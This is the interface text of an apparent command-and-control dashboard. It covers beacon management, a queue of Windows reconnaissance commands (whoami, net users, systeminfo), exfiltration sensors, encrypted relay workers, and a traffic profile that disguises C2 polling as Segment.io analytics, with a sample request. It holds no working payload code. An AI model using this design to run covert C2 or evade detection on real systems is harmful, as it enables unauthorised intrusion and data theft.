Dashboard
Beacons
6
4 online
Native
3
shell beacons
Sensors
3
exfiltration
Results
14
total received
Workers
2/3
active
Recent Activity
Beacon Health
Worker Health
Beacons
6 total
Select a beacon to view details
Command Center
Queue commands for one or more beacons. Commands are encrypted with Umbral PRE before relay.
Command Builder
whoami
hostname
net users
systeminfo
ipconfig /all
tasklist
Target Beacons
Command Queue Log
| Seq | Time | Beacon | Type | Status | Payload |
|---|
Results
14 total
| Beacon | Seq | Time | Type | Exit | Stdout | Stderr |
|---|
Relay Network
Cryptographically blind relay nodes. Workers hold kfrags only — they cannot decrypt.
Traffic Flow Log
Traffic Profiles
C2 traffic is structurally indistinguishable from legitimate services.
Profile Details
Low
Name: V2 Segment Mimicry
Description: Segment.io analytics mimicry. Blends with legitimate traffic. Recommended.
Endpoint: POST /v2/batch
Event Type: page (poll), click (push)
Library: analytics.js v2.11.0
HTTP Sample
Method: POST
Endpoint: https://n0k-worker-0.example.workers.dev/v2/batch
Headers:
Authorization: Basic NnF4dX...
Origin: https://segment.com
Referer: https://segment.com/
Content-Type: application/json
Body Preview:
{"batch":[{"type":"page","properties":{"checksum":"a3f7b2..."}}]}
Deploy Wizard
1. Env Check
→
2. Secrets
→
3. Team Server
→
4. Workers
→
5. Beacon
→
6. Summary
Keys
Umbral PRE key fingerprints. Operator keys are generated at TS startup. Beacon keys are compile-time embedded.
Operator Keys
Public Key Fingerprint
a7f3c8e2d9b1...
Verifying Key Fingerprint
8e4d2a6b5c91...
Algorithm: Umbral PRE (secp256k1) · Created: 2026-06-08T14:32:00Z
Beacon Keys
| Beacon ID | PK Fingerprint | VK Fingerprint | Cmd Kfrags | Res Kfrags |
|---|
Settings
Connection
Behavior
Auto-refresh
5s
Confirm destructive actions
Worker URLs